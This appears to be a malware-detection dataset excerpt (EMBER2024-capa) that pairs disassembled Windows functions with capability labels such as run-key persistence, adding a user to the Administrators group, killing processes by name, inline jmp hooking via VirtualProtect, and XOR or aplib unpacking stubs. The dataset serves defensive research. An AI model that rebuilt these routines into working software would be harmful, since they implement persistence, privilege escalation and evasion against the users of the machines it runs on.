joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409b80
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x33c
mov dword [ebp - 0x33c], ecx
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 8], 0
push 0
push 0
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x11c]
push ecx
lea edx, [ebp - 0x118]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x33c]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0
je 0x409bf1
xor eax, eax
jmp 0x409cd2
mov dword [ebp - 0x338], 0
mov edx, dword [ebp - 0x11c]
add edx, 1
mov dword [ebp - 0x11c], edx
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x338]
cmp ecx, dword [ebp - 0x118]
jae 0x409ccd
mov dword [ebp - 0x330], 0x208
mov dword [ebp - 4], 0x105
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x114]
push ecx
push 0
lea edx, [ebp - 0x330]
push edx
lea eax, [ebp - 0x328]
push eax
mov ecx, dword [ebp - 0x338]
push ecx
mov edx, dword [ebp - 0x33c]
mov eax, dword [edx]
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0
je 0x409c81
xor eax, eax
jmp 0x409cd2
cmp dword [ebp - 0x114], 1
jne 0x409cae
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x328]
push eax
mov ecx, dword [ebp - 0x33c]
mov edx, dword [ecx]
push edx
call dword [ebp + 8]
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0
jne 0x409cb9
jmp 0x409ccd
mov eax, dword [ebp - 0x338]
add eax, 1
mov dword [ebp - 0x338], eax
jmp 0x409c13
mov eax, 1
mov esp, ebp
pop ebp
ret 8
Function at 0x409ce0
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
mov dword [ebp - 0x250], ecx
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 8], 0
push 0
push 0
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x134]
push ecx
lea edx, [ebp - 0x12c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x250]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0
je 0x409d51
xor eax, eax
jmp 0x409e37
mov dword [ebp - 0x24c], 0
mov edx, dword [ebp - 0x134]
add edx, 1
mov dword [ebp - 0x134], edx
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x128], eax
mov edx, dword [ebp - 0x24c]
cmp edx, dword [ebp - 0x12c]
jae 0x409e35
mov dword [ebp - 0x248], 0x208
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 0x124]
push edx
push 0
lea eax, [ebp - 0x248]
push eax
lea ecx, [ebp - 0x240]
push ecx
mov edx, dword [ebp - 0x24c]
push edx
mov eax, dword [ebp - 0x250]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0
je 0x409dea
xor eax, eax
jmp 0x409e37
cmp dword [ebp - 0x124], 1
jne 0x409e21
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x128]
jb 0x409e21
mov eax, dword [ebp - 0x128]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.SHLWAPI.dll_StrCmpNIA]
test eax, eax
jne 0x409e21
mov eax, 1
jmp 0x409e37
mov eax, dword [ebp - 0x24c]
add eax, 1
mov dword [ebp - 0x24c], eax
jmp 0x409d83
xor eax, eax
mov esp, ebp
pop ebp
ret 4

Function at 0x40a2f0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], 1
mov dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 0
push 2
push 0
push 0
push 0
push 0x4104d4
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x40a39d
push 4
lea eax, [ebp - 0x10]
push eax
push 4
push 0
push 0x410574
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x10]
push edx
push 4
push 0
push 0x41058c
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0
push 0x4105a4
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x10]
push eax
push 4
push 0
push 0x4105c0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x40a3b0
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 8]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x4104d4
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x40a42f
push 0x410574
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push 0x41058c
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push 0x4105a4
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push 0x4105c0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov esp, ebp
pop ebp
ret
Function at 0x40a980
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 0xc]
cmp eax, dword [0x4121fc]
jbe 0x40aa87
mov ecx, dword [0x4121fc]
mov dword [ebp - 8], ecx
mov edx, dword [ebp + 8]
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], 0x412628
jmp 0x40a9c5
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x10]
cmp dword [edx], ecx
jne 0x40a9d5
sub dword [ebp - 8], 4
add dword [ebp - 0xc], 4
add dword [ebp - 0x10], 4
cmp dword [ebp - 8], 4
jae 0x40a9ad
cmp dword [ebp - 8], 0
je 0x40aa57
mov eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x10]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x14], eax
jne 0x40aa60
sub dword [ebp - 8], 1
add dword [ebp - 0xc], 1
add dword [ebp - 0x10], 1
cmp dword [ebp - 8], 0
je 0x40aa57
mov ecx, dword [ebp - 0xc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x10]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x14], ecx
jne 0x40aa60
sub dword [ebp - 8], 1
add dword [ebp - 0xc], 1
add dword [ebp - 0x10], 1
cmp dword [ebp - 8], 0
je 0x40aa57
mov edx, dword [ebp - 0xc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x10]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x14], edx
jne 0x40aa60
sub dword [ebp - 8], 1
add dword [ebp - 0xc], 1
add dword [ebp - 0x10], 1
cmp dword [ebp - 8], 0
je 0x40aa57
mov eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x10]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x14], eax
jne 0x40aa60
mov dword [ebp - 0x18], 0
jmp 0x40aa74
mov dword [ebp - 0x18], 1
cmp dword [ebp - 0x14], 0
jg 0x40aa74
mov dword [ebp - 0x18], 0xffffffff
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], 0
jne 0x40aa87
mov eax, 1
jmp 0x40aabb
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x40aab6
mov eax, dword [ebp - 4]
and eax, 2
jne 0x40aab2
mov ecx, dword [ebp - 4]
and ecx, 4
jne 0x40aab2
mov edx, dword [ebp - 4]
and edx, 1
je 0x40aab6
xor eax, eax
jmp 0x40aabb
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x40acd0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
push 0x100
push 0
lea eax, [ebp - 0x100]
push eax
call fcn.00405010
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x100]
push eax
call fcn.004041d0
add esp, 0xc
push 0x5c
push 0
lea ecx, [ebp - 0x100]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0
je 0x40ad58
mov edx, dword [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0
mov eax, dword [ebp - 0x104]
push eax
call fcn.00405010
add esp, 0xc
lea ecx, [ebp - 0x100]
mov dword [ebp - 0x104], ecx
push 0x44
push 0
lea edx, [ebp - 0x160]
push edx
call fcn.00405010
add esp, 0xc
push 0x10
push 0
lea eax, [ebp - 0x114]
push eax
call fcn.00405010
add esp, 0xc
mov dword [ebp - 0x160], 0x44
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x160]
push edx
mov eax, dword [ebp - 0x104]
push eax
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esp, ebp
pop ebp
ret

Function at 0x40adc0
Capabilities:
Delete file
Delete registry value
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push 0x80
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40ae52
push 0x100
push 0
lea edx, [ebp - 0x100]
push edx
call fcn.00405010
add esp, 0xc
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x100]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x2e
push 0
lea edx, [ebp - 0x100]
push edx
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0
je 0x40ae52
push 0x402a7c
mov eax, dword [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 1
lea ecx, [ebp - 0x100]
push ecx
mov edx, dword [ebp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov esp, ebp
pop ebp
ret

Function at 0x40ae70
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40ae8d
jmp 0x40ae99
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov esp, ebp
pop ebp
ret
Function at 0x40aea0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push 0x128
push 0
lea eax, [ebp - 0x128]
push eax
call fcn.00405010
add esp, 0xc
mov dword [ebp - 0x128], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x12c], eax
lea ecx, [ebp - 0x128]
push ecx
mov edx, dword [ebp - 0x12c]
push edx
call sub.KERNEL32.dll_Process32First
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40af13
mov edx, dword [ebp - 0x120]
push edx
call fcn.0040ae70
add esp, 4
jmp 0x40af4e
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40af37
mov edx, dword [ebp - 0x120]
push edx
call fcn.0040ae70
add esp, 4
lea eax, [ebp - 0x128]
push eax
mov ecx, dword [ebp - 0x12c]
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40af13
mov edx, dword [ebp - 0x12c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x40bf00
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 8]
push ecx
push 0
push 2
push 0
push 0
push 0
push 0x4106bc
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x40bf7c
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x10c]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 1
push 0
push 0x402bac
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret

Function at 0x40bf80
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 8]
push ecx
push 0
push 2
push 0
push 0
push 0
push 0x4107c0
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x40c031
push 0xff
push 0
lea edx, [ebp - 0x108]
push edx
call fcn.00405010
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
push 0x402bbc
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x108]
push ecx
push 1
push 0
push 0x402bc8
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x40c040
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 8]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x4107c0
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x40c09d
push 0x402bd8
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret

Function at 0x40c0b0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 8]
push ecx
push 0
push 2
push 0
push 0
push 0
push 0x410800
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp dword [ebp - 8], 0
je 0x40c112
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret

Function at 0x40c190
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 1
push 0
push 0x410800
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp dword [ebp - 8], 0
je 0x40c208
mov dword [ebp - 0x10], 0
lea ecx, [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x10]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 2
jne 0x40c1f7
mov dword [ebp - 0xc], 0
jmp 0x40c1fe
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret

Function at 0x40c2d0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
push 0x9c
push 0
lea eax, [ebp - 0xa0]
push eax
call fcn.00405010
add esp, 0xc
mov dword [ebp - 0xa0], 0x9c
lea ecx, [ebp - 0xa0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x9c], 5
jbe 0x40c315
xor eax, eax
jmp 0x40c31a
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x40c3c0
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov byte [ebp - 0x10], 0
mov byte [ebp - 0xf], 0
mov byte [ebp - 0xe], 0
mov byte [ebp - 0xd], 0
mov byte [ebp - 0xc], 0
mov byte [ebp - 0xb], 5
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40c42f
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x40c425
mov dword [ebp - 8], 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x40c4b0
Capabilities:
Add user account to group

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov byte [ebp - 0x10], 0
mov byte [ebp - 0xf], 0
mov byte [ebp - 0xe], 0
mov byte [ebp - 0xd], 0
mov byte [ebp - 0xc], 0
mov byte [ebp - 0xb], 5
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0x101
mov dword [ebp - 0x34], 0x10
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x40c50f
jmp 0x40c563
lea edx, [ebp - 0x244]
push edx
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x30]
push ecx
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x240]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountSidW]
test eax, eax
jne 0x40c53d
jmp 0x40c559
mov edx, dword [ebp + 8]
mov dword [ebp - 0x38], edx
push 1
lea eax, [ebp - 0x38]
push eax
push 3
lea ecx, [ebp - 0x240]
push ecx
push 0
call sub.NETAPI32.dll_NetLocalGroupAddMembers
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov esp, ebp
pop ebp
ret

Function at 0x40c660
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0x1fe
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x210]
push ecx
push 0
call sub.NETAPI32.dll_NetUserGetInfo
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40c6c7
mov edx, dword [ebp - 0xc]
cmp dword [edx + 0xc], 2
jne 0x40c6c7
mov eax, dword [ebp - 0xc]
push eax
call sub.NETAPI32.dll_NetApiBufferFree
mov eax, 1
jmp 0x40c6c9
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x40c6d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 1
push 0
push 0x402c8c
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp dword [ebp - 8], 0
je 0x40c779
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 4
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x10]
push eax
push 0
push 0x402cc8
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 4
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
push ecx
push 0
push 0x402ce4
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0xc], 0
jne 0x40c779
cmp dword [ebp - 0x14], 0
jne 0x40c779
xor eax, eax
jmp 0x40c77e
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x40c8c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 0x40
push 5
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp + 0xc]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
sub eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
sub ecx, 5
mov dword [ebp - 8], ecx
mov edx, dword [ebp + 8]
mov byte [edx], 0xe9
mov eax, dword [ebp + 8]
add eax, 1
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
mov dword [edx], eax
mov esp, ebp
pop ebp
ret

Function at 0x40c920
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 0x40
push 0x14
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp + 0x14]
push edx
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.0040c7c0
add esp, 0x10
mov eax, dword [ebp + 8]
add eax, dword [ebp - 4]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0040c8c0
add esp, 8
cmp dword [ebp + 0x14], 1
jne 0x40c98e
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [0x41342c]
push ecx
call fcn.0040c8c0
add esp, 8
jmp 0x40c99e
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.0040c8c0
add esp, 8
mov esp, ebp
pop ebp
ret

Function at 0x40896e
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
pop edi
or ebx, edx
dec ebx
call fcn.0040899a
dec edx
xor dword [ecx], edi
sub ebx, edx
add ecx, 1
add ebx, ebx
and ebx, ebx
cmp ecx, esi
jne fcn.0040896e
add ebx, 0x886484d4
and edx, ebx
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x1613058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.016131a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x161307e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x161306a
add dl, dl
jne 0x1613089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x16130dc
xor eax, eax
add dl, dl
jne 0x1613096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x161317d
add dl, dl
jne 0x16130a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x16130b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x16130bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x16130c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x16130d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1613075
mov eax, 1
add dl, dl
jne 0x16130ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x16130f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x16130e1
sub eax, ebx
mov ebx, 1
jne 0x1613128
mov ecx, 1
add dl, dl
jne 0x161310e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1613119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1613105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1613075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x161313f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x161314a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1613136
cmp eax, 0x7d00
jae 0x161316d
cmp eax, 0x500
jb 0x1613168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1613075
cmp eax, 0x7f
ja 0x1613170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1613075
